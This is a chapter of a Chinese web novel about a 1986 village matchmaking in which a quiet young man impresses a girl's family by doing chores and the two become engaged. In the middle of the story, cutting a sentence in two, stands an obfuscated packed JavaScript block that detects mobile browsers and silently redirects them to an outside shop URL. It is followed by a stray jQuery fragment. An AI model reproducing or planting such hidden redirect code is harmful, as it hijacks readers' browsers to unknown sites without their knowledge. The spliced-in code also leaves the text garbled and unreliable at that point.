一九八六年的深秋，风卷起尘土，地里的玉米杆子早就收进了场院，只剩下茬子杵着那里。
李翠莲起了个大早，她把灶台擦了三遍，又去院子里扫了两圈，连鸡窝旁边的杂草都拔得干干净净。因为今天家里要来客人——换句话说是媒人。
“妈，有什么要帮忙的？”沈彦起来就看到这一幕，收拾好自己轻靠在厨房门框上，看着亲妈李翠莲忙得跟过年似的，“就是来个人看看，又不是领导来视察，再说咱家够干净的了。”
“你快看看还有什么遗漏的。”李翠莲头也没抬，手上的抹布在灶台上擦得飞快，“你爸那个德行指望不上，我再不张罗，你的婚事什么时候能成？”
沈彦撇了撇嘴，没吭声。
她今年十八了，搁城里还是念书的年纪，可在这村子里，十八岁还没定下人家的姑娘很少了。村里跟她同岁的甚至比她小的，孩子都满地跑了。
她是没着急，可有人替她着急。
李翠莲这人嘴上不说，心里头门儿清。家里三孩子：沈彦老大，底下的沈芳和沈军才十岁，八岁的年龄差搁在那儿，说是亲姊妹，倒更像两代人。沈芳和沈军还小，正是费钱费力的年纪。等他们都长大成人，沈彦都二十好几了。那时候再找婆家，能找着什么好人家？
所以趁着现在，赶紧定下来。
“你王婶说了，跟你相看的叫梁述今年二十，就住在隔壁梁家湾，走路只要十几分钟。”李翠莲直起腰，在围裙上擦了擦手，“这王婶就是他姨，住咱们和梁家湾中间那个村，你小时候赶集还从那儿路过呢。”
“我知道。”沈彦说。她当然知道。那地方有个供销社，小时候跟着奶奶去赶集，奶奶总在那儿给她买糖吃。
“他姨夫跟你爸认识，以前一块儿开过会。”李翠莲继续说，“人家在中间牵线搭桥的，你可别给我掉链子。”
沈彦没说话，转身回了屋。
沈家的屋子不大，但收拾得干净。四间正房，外加厨房杂物间，院子方方正正，是村里数得着的好院子。她爸沈德厚当年当村长的时候，村里人给面子，批宅基地的时候特意多给了两分地。后来他不干了，院子已经盖好了，倒也没人来说什么。
沈彦坐到炕沿上，对着窗户发呆。她长了一张鹅蛋脸，眼睛又大又亮，皮肤算白的，搁村里算是好看的了。但她自己不在意这些，平时连雪花膏都懒得抹，也就是今天才被她妈逼着擦了一点。
沈彦对自己要嫁个什么样的人，没有太多想法。村里姑娘都是这样，到了年纪就有人上门说亲，看两家差不多，见一面后彩礼商量好，就能订婚。什么喜欢不喜欢的，那是书里的东西，跟她们没关系。
可也不是完全想过这件事，还是别嫁太远，离娘家近点儿，想回来就回来。男方家里也别太穷，因为她没享过福，但也没受过苦，好歹嫁过去不能比现在差太多。长相正正常常的就行，没多大要求。
这些念头在脑子里转了转，沈彦觉得没什么意思，索性不想了，从枕头底下摸出一本翻得起了毛边的《红楼梦》看了起来。
另一边，梁述家里就没这么平静了。梁家现在住的房子是早年盖的土坯房，墙皮剥落了好几块，露出里头黄褐的土坯砖。三间正房，坐北朝南，说是有三间，其实东西两间都窄，中间堂屋也不大。六口人挤在里面，转个身都能撞上。院子倒是有一块，但没什么像样的东西，墙角堆着些劈好的柴火和几件破旧农具。
“梁述，你快点收拾好！”刘桂兰的声音从灶房那边传过来，声音不大但听得清清楚楚，“王婶子说了，上午十点前到，现在都八点了，不能给人留下坏印象。”
梁述坐在炕沿上，低着头不知道在想什么。他个子高，一米八的个头，在村里算是拔尖的。但偏偏长了张偏秀气的脸，眉眼清俊，鼻梁直挺，看着像个文弱书生，跟他那副高挑的身板不太搭调。村里人有时候开玩笑，说他“长了个闺女相”。
“听见没有？”刘桂兰端着一碗热水走进来，把碗往炕桌上一顿，“你看看你这副样子，跟谁欠你八百块钱似的。去相亲你到那里给我笑一笑，别绷着个脸。”
梁述抬起眼皮看了他娘一眼，“知道了”，说完就去洗脸了。他今年二十岁，按村里的规矩其实早该说亲了。
但被他爸梁德茂耽误了岁数，说起梁德茂这一生也是波折，当初考上大学，可惜成份不好，村长压着通知书没给他。后来便去当兵了，退伍后在铁路上当站长，最后又回到县里当工人。这中间也是复杂得很。
虽然是工人，可月月工资刚够花，家里三个儿子等着娶媳妇，老大梁诚去年才结婚花销不少，导致梁述的彩礼没攒够。
要不是他姨在中间说合，说他“人勤快，有眼力见儿，是个过日子的料”，只怕人家姑娘连见都不愿意见。
“妈。”梁述洗完脸回来，拿毛巾擦着脸上的水，“女方家条件怎么样？”
“你姨说了，比咱家强远了。”
“我是说……”
“我知道你问的是啥。”刘桂兰叹了口气，“人家家里是大院子，四间大瓦房，他爸以前当过村长，家里条件不差。”她顿了一下，没往下说。
梁述明白，自家现在这光景，三间破土坯房，墙皮都掉了，院子也小，人家姑娘来了能乐意吗？
可这有什么办法，梁德茂当年在市里铁路上的工作好好的，硬是听了他后奶奶的话，调回县里的工厂看仓库。说是“离家近，好照顾老人”，可那些老人哪个是真心待他的？五个同父异母的兄弟，一个比一个精，好处全让他们占了，苦活累活全落在自家头上。
刘桂兰也跟着受了大半辈子苦，嘴上不说，其实心里头都记着呢。
“你去了。”刘桂兰把一件半新的军绿色外套递给他，“这是你大哥的，你穿上别显得太寒碜。”
梁述接过来，披在身上。衣服大了一号，肩膀那里空荡荡的，但他身量高，撑起来倒也不算太难看。他对着镜子照了照，镜子里的人高高瘦瘦的，眉眼清秀，嘴唇抿着，带着一股说不上来的倔强。
从梁家湾到沈家沟，确实只要十几分钟，很快就到了。梁述手插在口袋里，一路上没怎么说话。
“梁述啊。”他姨在前头骑车，侧过头来说了一句，“到了人家家里，嘴甜一点儿，别光闷头干活。你大哥就是吃了嘴笨的亏，你三弟倒是嘴甜，可那小子太滑了。你取个中间，该说的说，不该说的别瞎说。”
“嗯。”梁述点头答应。“这姑娘我见过，长得白白净净的，她妈李翠莲在村里是出了名的能干，她爸虽然不管事，但人也不坏。关键是她家条件好，你去了别露怯。”
“还有件事”，王婶停了一下，声音低了几分，“你家的条件，我没瞒人家。人家也知道你家三个儿子，过得紧巴。但人家说了，主要是看人，不是看家。”
梁述没再应声。他心里清楚，这话是说给他听的。人家条件好不嫌他家穷，那他至少得让人家觉得，这个人值得。
到了沈家沟村口，王婶指着前面一条土坡：“往上走，第三家就是。”
沈彦在屋里听到院门响的时候，手里的书正好翻到最后一页。
“沈彦！快点出来！”李翠莲的声音带着一股子紧张劲儿。
她站起来，抻了抻衣角，往门口走。今天穿的是一件枣红色的对襟棉袄，她妈缝的，新棉花，穿在身上暖暖和和的。裤子是藏蓝色的，脚上一双黑条绒布鞋，头发用皮筋扎了个低马尾。
她走到堂屋门口，先探出半个身子看了看。院子里站着两个人，王婶和一个年轻男人，高高瘦瘦的，穿着一件军绿色外套，站在院子里有些拘谨。
“这是梁述。”王婶儿笑着介绍，“他姨我今天就不进来了，在外头等着。你们聊，你们聊。”
沈彦看了梁述一眼。他的脸被风吹得有点红，但能看出底子白，鼻梁直挺，眉眼间有股子俊气。个子很高，比院门还高出半头，看着不像干粗活的庄稼人，倒像个念书的。
“进来坐吧。”李翠莲从灶房出来，手在围裙上擦着，脸上堆着笑，“外头冷，进屋暖和暖和。”
梁述点了点头，跟着进了堂屋。堂屋挺大的，靠墙摆着一张八仙桌，两把椅子，墙上挂着年画，颜色已经发黄了。地面虽是土地面但打扫得很干净。
“坐，坐。”李翠莲招呼着，又朝沈彦使了个眼色，“去倒杯水。”沈彦去倒了杯水，端过来放在梁述面前。
“谢谢。”梁述闷闷地说，像是从嗓子眼儿里挤出来的。沈彦“嗯”了一声，退到一旁也不说话了。
屋子里安静了几秒钟。李翠莲赶紧打圆场：“梁述啊，你爹最近忙不？在厂里还好吧？”“还行。”梁述说。
“你大哥是不是在县里学了手艺来着？”
“学的木工。”“哦，木工好，木工好啊，走到哪儿都有口饭吃。”李翠莲笑着点头，“你自己呢？你现在在做什么？”
梁述过了两秒才说：“学的盖房子的手艺，没事干干家里的活。”
“挺好的！”李翠莲又笑，“现在生活好，盖房子的人也多，这门手艺吃香。”沈彦在旁边听着，觉得她妈今天笑得比平时多，嘴角都快咧到耳朵根了。
沈彦又看了眼梁述，心想这人长得倒是不丑，就是太闷了。
李翠莲又问了几句有的没的，梁述一一答了，话不多，但每句都答在点子上，不算出彩，也不惹人烦。
“你们俩坐会儿，我去厨房看看。”李翠莲终于找了个由头起身，临走前又给沈彦使了个眼色——意思很明显。
李翠莲走后，屋子里更安静了。墙上挂钟的滴答声显得特别清楚。沈彦靠在门框上，脚尖点了点地面，不知道该说什么。梁述也一样，端着那杯已经不太热的水，目光落在桌面的木纹上。
过了好一会儿，梁述先开了口：“你家院子挺大的。”
“嗯。”沈彦说。
“四间房？”
“嗯。”
“挺好的。”
梁述抬眼看了她一下。沈彦也在看他。两人目光碰了一下，又各自弹开。沈彦又想着这人是不是只会说嗯。
梁述则想着沈彦感觉她不太想理人。长得挺漂亮的，眼睛大大的，皮肤白，就是脸上没什么表情。
梁述把水放在桌上，站起来，往门口走了两步。沈彦以为他要走，正要叫她妈，却看见他走到院子里，弯腰捡起地上一把靠在墙根的扫帚，开始扫院子。
沈彦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632801|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
愣住了。其实院子刚扫过不脏，但有风，院子里又落了些树叶。
“你——”沈彦张了张嘴，想说“不用你扫”，话到嘴边又咽回去了。
她站在堂屋门口，看着梁述开始扫地，
他扫得很仔细，不光扫大面，还专门把砖缝里的碎叶子用帚尖挑出来，扫完院子，看见水缸边的木桶空了，又去水缸里舀了两桶水，挑到厨房门口放好。
李翠莲从厨房出来，看见这一幕，脸上的表情变了又变，“你看你这孩子，来了就是客人，怎么还干起活来了？”
“没事。”梁述说，“闲着也是闲着。”沈彦靠在门框上，看着他忙前忙后，心里浮起一种说不清的感觉。不是心动，不是讨厌，就是——这人有点奇怪。
别人来相亲，不都是坐着喝茶说话，互相看看长什么样，问几句家里几口人、几亩地吗？他怎么一上来就干活，跟长工似的。
“吃饭了。”李翠莲招呼着。梁述把手里的活放下就要走，吃饭还待在别人家里不太好。但李翠莲拦着好说歹说才把他留下来。
午饭是臊子面，面擀得薄切得细，臊子是用肉末、豆腐、粉条熬的，闻着就香。
梁述这才坐下，而沈彦坐在他对面，低头吃自己的，偶尔抬眼瞄他一下。吃完饭，梁述又帮着收碗。
“真不用真不用。”李翠莲拦住他，“你是客人，哪能让你干活。”
时间过得很快，回去的路上，王婶问梁述感觉怎样，梁述想了想，说：“还行。”“姑娘呢？你觉得姑娘咋样？”
梁述又想了想。她靠着门框站着的样子，懒洋洋的，好像什么都不在乎。大眼睛，皮肤白，清清爽爽的一个姑娘。
“不错。”王婶叹了口气：“你这孩子，什么都还行。你给个准话。”“行吧。”梁述说。
沈彦那边，送走了人，李翠莲关了院门就开始盘问。
“咋样？你别给我装糊涂。”李翠莲坐到她旁边，“你觉得梁述这人怎么样？”
“人倒是勤快。”沈彦回想着说，“来了就扫地，又挑水，眼里有活儿。”
李翠莲追问：“那就是觉得行了？”沈彦点了点头，“妈，你说他是不是不想来相亲？”
“怎么会呢？这是他找的咱们，怎么能不想来？”“那他怎么光干活，都不怎么说话？”李翠莲愣了一下，然后笑了：“那说明这孩子实诚，不油嘴滑舌的。你想想，要是那种一上来就嘴上抹蜜的，你敢要吗？”
李翠莲又说：“他家条件是不如咱家，但人家爸好歹是工人，有固定收入。他自己也有手艺也算是门技术活。人勤快，眼里有活儿，你嫁过去不会吃亏。”
“妈。”沈彦突然说，“你刚才还说条件好，现在又说条件不如咱家，你到底哪句是真的？”李翠莲被噎了一下，拍了女儿一把：“你这孩子，怎么跟你妈说话呢？”
沈彦往旁边躲了一下，嘴角不自觉地弯了弯。“你到底行不行？”李翠莲追问，“人家那边还等着回话呢。”沈彦翻了翻手里的书，过了好一会儿，轻轻“嗯”了一声。
“嗯是什么意思？”“就是嗯的意思。”沈彦把书盖在脸上，躺到炕上，不说话了。李翠莲看着女儿这副样子，觉得小姑娘脸皮薄，这是同意了，最后站起来往外走：“行了，我去跟王婶儿说。”
“知道了。”沈彦闷闷的声音从书底下传出来。李翠莲走出堂屋，站在院子里，长长地呼出一口气。
三天后，梁家请吃饭。其实就是在堂屋里摆了一桌，比平时多了两个菜。刘桂兰从早上就开始忙，炖了一只鸡，蒸了一锅馒头，还炒了几个菜，把平日里舍不得吃的都拿出来了。房子虽然破，但收拾得干净，地上洒了水扫过，桌椅也擦得发亮。
沈家一大家子都来了。沈彦今天换了一件蓝色碎花的棉袄，头发扎得比上次整齐些，脸上还抹了一点她妈的雪花膏。
梁述在门口等着。他还是穿着那件军绿色外套，但比上次整齐，头发也洗过了，带着一股淡淡的肥皂味儿。一米八的个子往门口一站，衬得那低矮的门框都显得矮了几分。
“来了？”梁述说。“嗯。”沈彦回答。两个人站在门口，对望了一眼，莫名笑出了声。
院子不大，土坯墙有几处裂缝，房顶的瓦片有些缺了角，但地上扫得干干净净，柴火码得整整齐齐。沈彦扫了一眼，没说什么。
饭桌上，刘桂兰使劲劝菜，一个劲儿地往沈彦碗里夹。沈彦碗里的鸡肉堆得冒了尖，很是热情。梁述坐在她对面，低着头吃自己的，偶尔抬头看她一眼。
吃了这顿饭，沈彦和梁述的婚事就这么定下来了，毕竟两家大人都点了头。
回去的路上，沈彦闭上眼睛，脑海里又浮现出梁述的脸，虽然沉默寡言，但竟让她觉得有点安心。这个念头冒出来，连她自己都觉得有些好笑。
梁述躺在床上思索着沈彦，大眼睛，皮肤白白的，靠着门框站着的样子懒洋洋的。说不上多漂亮，但清清爽爽的，看着顺眼。
然后他就睡不着了，在院子里劈柴，他劈得很用力，一斧子下去，木柴裂成两半，蹦起来滚到墙角。秋夜的月亮又大又白，挂在低矮的房檐上，照着这片土地。
两人的婚事，就这么定下来了。